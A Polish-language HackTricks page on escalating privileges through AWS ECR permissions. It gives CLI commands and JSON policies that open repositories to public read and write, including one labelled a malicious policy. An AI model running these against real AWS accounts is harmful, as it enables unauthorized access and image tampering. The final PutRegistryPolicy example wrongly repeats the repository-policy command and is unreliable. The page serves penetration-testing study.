AWS - ECR Privesc

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Atakujący posiadający uprawnienia ecr:GetAuthorizationToken i ecr:BatchGetImage może zalogować się do ECR i pobierać obrazy.

Aby uzyskać więcej informacji na temat pobierania obrazów:

pageAWS - ECR Post Exploitation

Potencjalne skutki: Pośrednie podniesienie uprawnień poprzez przechwytywanie wrażliwych informacji w ruchu.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Atakujący posiadający wszystkie te uprawnienia może zalogować się do ECR i przesyłać obrazy. Może to być przydatne do eskalacji uprawnień do innych środowisk, w których używane są te obrazy.

Aby dowiedzieć się, jak przesłać nowy obraz/aktualizować istniejący, sprawdź:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Jak w poprzednim przypadku, ale dla publicznych repozytoriów.

ecr:SetRepositoryPolicy

Atakujący posiadający to uprawnienie mógłby zmienić politykę repozytorium, aby przyznać sobie (lub nawet wszystkim) dostęp do odczytu/zapisu. Na przykład, w tym przykładzie dostęp do odczytu jest udzielany wszystkim.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Zawartość my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Podobnie jak w poprzedniej sekcji, ale dla publicznych repozytoriów. Atakujący może zmodyfikować politykę repozytorium publicznego ECR, aby udzielić nieautoryzowanego publicznego dostępu lub podnieść swoje uprawnienia.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potencjalne skutki: Nieautoryzowany publiczny dostęp do repozytorium ECR Public, umożliwiający dowolnemu użytkownikowi przesyłanie, pobieranie lub usuwanie obrazów.

ecr:PutRegistryPolicy

Atakujący posiadający to uprawnienie mógłby zmienić politykę rejestru, aby przyznać sobie, swojemu kontu (lub nawet wszystkim) dostęp do odczytu/zapisu.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated